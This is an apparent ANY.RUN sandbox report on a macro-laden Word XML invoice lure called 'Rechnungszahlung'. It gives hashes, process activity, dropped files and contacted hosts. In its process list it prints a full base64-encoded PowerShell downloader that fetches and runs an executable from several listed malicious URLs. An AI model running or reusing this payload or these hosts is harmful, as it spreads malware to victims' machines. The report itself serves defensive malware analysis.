analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
download:

Rechnungszahlung

Full analysis: https://app.any.run/tasks/dcd7bc2d-28cf-47af-9779-03eb89cec828
Verdict: Malicious activity
Analysis date: February 11, 2019, 11:16:05
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/xml
File info: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
MD5:

302B80FC0C4AA2D02E894D5FCF399749

SHA1:

627990CB224B994B1F9E86E541504525484CC4E0

SHA256:

000BAF1EFBD0DC7E573C779362F769AB452D20B16223A044E0AB6B55E4298EA6

SSDEEP:

6144:zBV3mPHiO7h2eHmDGv0vxuIMzSVIhl9EKRDqME4yanMjdn/NQVg+D3Do8oRtxQwH:SfiO70FDG8vxuI8SVIf51E4K14o8IuC

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2648)

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 2648)

  • SUSPICIOUS

    • Starts Microsoft Office Application

      • MSOXMLED.EXE (PID: 2968)

    • Creates files in the user directory

      • POwershell.exe (PID: 3864)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2648)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2648)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xml | Microsoft Office XML Flat File Format Word Document (ASCII) (65.1)
.xml | Microsoft Office XML Flat File Format (ASCII) (31)
.xml | Generic XML (ASCII) (2.3)
.html | HyperText Markup Language (1.4)

EXIF

XMP

WordDocumentBodySectSectPrDocGridLine-pitch: 360
WordDocumentBodySectSectPrColsSpace: 720
WordDocumentBodySectSectPrPgMarGutter: -
WordDocumentBodySectSectPrPgMarFooter: 720
WordDocumentBodySectSectPrPgMarHeader: 720
WordDocumentBodySectSectPrPgMarLeft: 1440
WordDocumentBodySectSectPrPgMarBottom: 1440
WordDocumentBodySectSectPrPgMarRight: 1440
WordDocumentBodySectSectPrPgMarTop: 1440
WordDocumentBodySectSectPrPgSzH: 15840
WordDocumentBodySectSectPrPgSzW: 12240
WordDocumentBodySectSectPrRsidR: 005E6EE1
WordDocumentBodySectPRPictShapeImagedataTitle: -
WordDocumentBodySectPRPictShapeImagedataSrc: wordml://SFR1zh.OCS60j.FADw9io
WordDocumentBodySectPRPictShapeStyle: width:468pt;height:349.5pt;visibility:visible;mso-wrap-style:square
WordDocumentBodySectPRPictShapeType: #_x0000_t75
WordDocumentBodySectPRPictShapeSpid: _x0000_i1025
WordDocumentBodySectPRPictShapeId: Picture 1
WordDocumentBodySectPRPictBinData: (Binary data 366950 bytes, use -b option to extract)
WordDocumentBodySectPRPictBinDataName: wordml://SFR1zh.OCS60j.FADw9io
WordDocumentBodySectPRPictShapetypeLockAspectratio: t
WordDocumentBodySectPRPictShapetypeLockExt: edit
WordDocumentBodySectPRPictShapetypePathConnecttype: rect
WordDocumentBodySectPRPictShapetypePathGradientshapeok: t
WordDocumentBodySectPRPictShapetypePathExtrusionok: f
WordDocumentBodySectPRPictShapetypeFormulasFEqn: if lineDrawn pixelLineWidth 0
WordDocumentBodySectPRPictShapetypeStrokeJoinstyle: miter
WordDocumentBodySectPRPictShapetypeStroked: f
WordDocumentBodySectPRPictShapetypeFilled: f
WordDocumentBodySectPRPictShapetypePath: m@4@5l@4@11@9@11@9@5xe
WordDocumentBodySectPRPictShapetypePreferrelative: t
WordDocumentBodySectPRPictShapetypeSpt: 75
WordDocumentBodySectPRPictShapetypeCoordsize: 21600,21600
WordDocumentBodySectPRPictShapetypeId: _x0000_t75
WordDocumentBodySectPRRPrNoProof: -
WordDocumentBodySectPRRsidRPr: 005D7FC8
WordDocumentBodySectPRsidRDefault: 002716AD
WordDocumentBodySectPRsidR: 005E6EE1
WordDocumentDocPrRsidsRsidVal: 002716AD
WordDocumentDocPrRsidsRsidRootVal: 005E6EE1
WordDocumentDocPrCompatDontGrowAutofit: -
WordDocumentDocPrCompatUseAsianBreakRules: -
WordDocumentDocPrCompatWrapTextWithPunct: -
WordDocumentDocPrCompatSnapToGridInCell: -
WordDocumentDocPrCompatBreakWrappedTables: -
WordDocumentDocPrAlwaysShowPlaceholderTextVal: off
WordDocumentDocPrIgnoreMixedContentVal: off
WordDocumentDocPrSaveInvalidXMLVal: off
WordDocumentDocPrValidateAgainstSchema: -
WordDocumentDocPrPixelsPerInchVal: 120
WordDocumentDocPrOptimizeForBrowser: -
WordDocumentDocPrCharacterSpacingControlVal: DontCompress
WordDocumentDocPrPunctuationKerning: -
WordDocumentDocPrDefaultTabStopVal: 720
WordDocumentDocPrDoNotEmbedSystemFonts: -
WordDocumentDocPrRemovePersonalInformation: -
WordDocumentDocPrZoomPercent: 100
WordDocumentDocPrViewVal: print
WordDocumentShapeDefaultsShapelayoutIdmapData: 1
WordDocumentShapeDefaultsShapelayoutIdmapExt: edit
WordDocumentShapeDefaultsShapelayoutExt: edit
WordDocumentShapeDefaultsShapedefaultsSpidmax: 1026
WordDocumentShapeDefaultsShapedefaultsExt: edit
WordDocumentDocSuppDataBinData: (Binary data 84578 bytes, use -b option to extract)
WordDocumentDocSuppDataBinDataName: lDMVM8
WordDocumentStylesStyleRPrRFontsCs: Tahoma
WordDocumentStylesStyleRPrRFontsH-ansi: Tahoma
WordDocumentStylesStyleRPrRFontsAscii: Tahoma
WordDocumentStylesStyleRsidVal: 005A24B1
WordDocumentStylesStyleLinkVal: BalloonTextChar
WordDocumentStylesStyleBasedOnVal: Normal
WordDocumentStylesStyleTblPrTblCellMarRightType: dxa
WordDocumentStylesStyleTblPrTblCellMarRightW: 108
WordDocumentStylesStyleTblPrTblCellMarBottomType: dxa
WordDocumentStylesStyleTblPrTblCellMarBottomW: -
WordDocumentStylesStyleTblPrTblCellMarLeftType: dxa
WordDocumentStylesStyleTblPrTblCellMarLeftW: 108
WordDocumentStylesStyleTblPrTblCellMarTopType: dxa
WordDocumentStylesStyleTblPrTblCellMarTopW: -
WordDocumentStylesStyleTblPrTblIndType: dxa
WordDocumentStylesStyleTblPrTblIndW: -
WordDocumentStylesStyleUiNameVal: Table Normal
WordDocumentStylesStyleRPrLangBidi: AR-SA
WordDocumentStylesStyleRPrLangFareast: EN-US
WordDocumentStylesStyleRPrLangVal: EN-US
WordDocumentStylesStyleRPrSz-csVal: 22
WordDocumentStylesStyleRPrSzVal: 22
WordDocumentStylesStyleRPrFontVal: Calibri
WordDocumentStylesStylePPrSpacingLine-rule: auto
WordDocumentStylesStylePPrSpacingLine: 259
WordDocumentStylesStylePPrSpacingAfter: 160
WordDocumentStylesStyleNameVal: Normal
WordDocumentStylesStyleStyleId: Normal
WordDocumentStylesStyleDefault: on
WordDocumentStylesStyleType: paragraph
WordDocumentStylesLatentStylesLsdExceptionName: Normal
WordDocumentStylesLatentStylesLatentStyleCount: 375
WordDocumentStylesLatentStylesDefLockedState: off
WordDocumentStylesVersionOfBuiltInStylenamesVal: 7
WordDocumentFontsFontSigCsb-1: 00000000
WordDocumentFontsFontSigCsb-0: 000001FF
WordDocumentFontsFontSigUsb-3: 00000000
WordDocumentFontsFontSigUsb-2: 00000009
WordDocumentFontsFontSigUsb-1: C0007841
WordDocumentFontsFontSigUsb-0: E0002AFF
WordDocumentFontsFontPitchVal: variable
WordDocumentFontsFontFamilyVal: Roman
WordDocumentFontsFontCharsetVal: 00
WordDocumentFontsFontPanose-1Val: 02020603050405020304
WordDocumentFontsFontName: Times New Roman
WordDocumentFontsDefaultFontsCs: Times New Roman
WordDocumentFontsDefaultFontsH-ansi: Calibri
WordDocumentFontsDefaultFontsFareast: Calibri
WordDocumentFontsDefaultFontsAscii: Calibri
WordDocumentDocumentPropertiesVersion: 16
WordDocumentDocumentPropertiesCharactersWithSpaces: 1
WordDocumentDocumentPropertiesParagraphs: 1
WordDocumentDocumentPropertiesLines: 1
WordDocumentDocumentPropertiesCharacters: 1
WordDocumentDocumentPropertiesWords: -
WordDocumentDocumentPropertiesPages: 1
WordDocumentDocumentPropertiesLastSaved: 2019:02:11 08:13:00Z
WordDocumentDocumentPropertiesCreated: 2019:02:11 08:13:00Z
WordDocumentDocumentPropertiesTotalTime: -
WordDocumentDocumentPropertiesRevision: 1
WordDocumentIgnoreSubtreeVal: http://schemas.microsoft.com/office/word/2003/wordml/sp2
WordDocumentOcxPresent: no
WordDocumentEmbeddedObjPresent: no
WordDocumentMacrosPresent: yes
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
34
Monitored processes
3
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start msoxmled.exe no specs winword.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2968"C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE" /verb open "C:\Users\admin\AppData\Local\Temp\Rechnungszahlung.xml"C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
XML Editor
Exit code:
0
Version:
14.0.4750.1000
2648"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Rechnungszahlung.xml"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—MSOXMLED.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3864POwershell -e JABMAEgAcwB6AFIAUgBBAD0AKAAnAHAAJwArACcAVABsAEIAbAAnACsAJwA3AFUAJwApADsAJABxAFAASwBDAGMAcgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB6ADIAaABNADAAZABSAGgAPQAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBtAGEAcwBrAC4AcwB0ACcAKwAnAHUAZAAnACsAJwBpACcAKwAnAG8AJwArACcALwBZACcAKwAnAGUAawBBADIAOAAyAHYAcgBYAHIAZABoACcAKwAnAFUAQABoACcAKwAnAHQAJwArACcAdABwACcAKwAnADoALwAvAGYAZQBuACcAKwAnAGkAYwBoAGsAYQAuAHIAdQAvAGcAeABiAFEANwAnACsAJwBlAE8AJwArACcAdQAnACsAJwBuAGYAJwArACcAZgAnACsAJwBKAEAAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8AJwArACcALwAnACsAJwAyACcAKwAnADAANgAnACsAJwAuACcAKwAnADEAJwArACcAOAAnACsAJwA5AC4ANgAnACsAJwA4AC4AJwArACcAMQA4ADQAJwArACcALwA4AG4AUQB5AGoAOABpAGYASwBtAFkAJwArACcAYwBAAGgAdAAnACsAJwB0AHAAOgAvAC8AdABoACcAKwAnAGEAbABlAHMALQAnACsAJwBsAGEAcwAuACcAKwAnAGMAZgBkACcAKwAnAHQALQAnACsAJwBmAGcAJwArACcAbQBtAC4AZgAnACsAJwByACcAKwAnAC8AYwBnAGkALQBiACcAKwAnAGkAbgAnACsAJwAvAG0AYQBHAFIAQQA4AGkAWQBnACcAKwAnAEQAJwArACcAQwAnACsAJwBQAE0AJwArACcARwBAAGgAdAB0ACcAKwAnAHAAJwArACcAOgAnACsAJwAvAC8AcAByAG8AJwArACcAcwBwACcAKwAnAGUAcgBpAHQAeQAtAHMAdAB1AGQAZQBuAHQALgBjAG8ALgAnACsAJwB1AGsAJwArACcALwAnACsAJwBtAGwAJwArACcAMgBOAFEAZgBmAG8ATQBtAHkASgAnACsAJwBzADYAJwArACcASgAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABkAFEASwA0AEcASwA1AEIAPQAoACcAQQAnACsAJwB6ACcAKwAnAGQAMQBIAHIAVgA5ACcAKQA7ACQAYwBQADMAawBQAG4ASAAzACAAPQAgACgAJwA0ADIAJwArACcAMgAnACkAOwAkAHoAcwAwAE8AUgBqADgAPQAoACcAaAAnACsAJwA1AGgAJwArACcAYgBUAHoAJwApADsAJABmADMAUgBzAHIAbwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYwBQADMAawBQAG4ASAAzACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBsAHQATgBPAGkAIABpAG4AIAAkAHoAMgBoAE0AMABkAFIAaAApAHsAdAByAHkAewAkAHEAUABLAEMAYwByAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFkAbAB0AE4ATwBpACwAIAAkAGYAMwBSAHMAcgBvACkAOwAkAEEAaAA0AFEAbgBKAD0AKAAnAFIAZAAnACsAJwBkAFQAUQA5ADYAJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZgAzAFIAcwByAG8AKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABmADMAUgBzAHIAbwA7ACQAZABpAEsAbwB3AG8APQAoACcAVABOAEYAJwArACcAUgBCAGoAUgBVACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJAB0ADQAVQBXAGkAUQBvADgAPQAoACcAdgBBAHAAMABPACcAKwAnAFcAdQAnACkAOwA= C:\Windows\System32\WindowsPowerShell\v1.0\POwershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 692
Read events
1 296
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
2648WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR8E2C.tmp.cvr —
MD5:—
SHA256:—
2648WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\ADD4CF4D.FADw9io —
MD5:—
SHA256:—
3864POwershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GXPWYM1XVX6KCH5B4W43.temp —
MD5:—
SHA256:—
2648WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$chnungszahlung.xmlpgc
MD5:5FFD65630EDD10EF5DF71253C4AB85D4
SHA256:DB67FA1FB1A445F1D463AB90E39DC69EEB4B25A438ED42F2F8E18F11BCAD58AC
3864POwershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
3864POwershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1999a6.TMPbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2648WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:A45EB704483E0EB1916FB65832D39E0D
SHA256:525B8EF4563638DDE742038C1CF6F23D020B7E7FB834DD8F4EE8E2464F18740D
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
5
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3864
POwershell.exe
GET
404
195.208.1.102:80
http://mask.studio/YekA282vrXrdhU
RU
xml
345 b
malicious
3864
POwershell.exe
GET
404
193.70.45.202:80
http://thales-las.cfdt-fgmm.fr/cgi-bin/maGRA8iYgDCPMG
FR
xml
345 b
malicious
3864
POwershell.exe
GET
404
206.189.68.184:80
http://206.189.68.184/8nQyj8ifKmYc
US
xml
345 b
suspicious
3864
POwershell.exe
GET
404
77.104.133.170:80
http://prosperity-student.co.uk/ml2NQffoMmyJs6J
US
xml
345 b
unknown
3864
POwershell.exe
GET
404
81.177.135.191:80
http://fenichka.ru/gxbQ7eOunffJ
RU
xml
345 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3864
POwershell.exe
195.208.1.102:80
mask.studio
Autonomous Non-commercial Organization Regional Network Information Center
RU
malicious
3864
POwershell.exe
81.177.135.191:80
fenichka.ru
JSC RTComm.RU
RU
malicious
3864
POwershell.exe
193.70.45.202:80
thales-las.cfdt-fgmm.fr
OVH SAS
FR
malicious
3864
POwershell.exe
206.189.68.184:80
—
—
US
suspicious
3864
POwershell.exe
77.104.133.170:80
prosperity-student.co.uk
SoftLayer Technologies Inc.
US
unknown

DNS requests

Domain
IP
Reputation
mask.studio
  • 195.208.1.102
malicious
fenichka.ru
  • 81.177.135.191
malicious
thales-las.cfdt-fgmm.fr
  • 193.70.45.202
malicious
prosperity-student.co.uk
  • 77.104.133.170
unknown

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Rechnungszahlung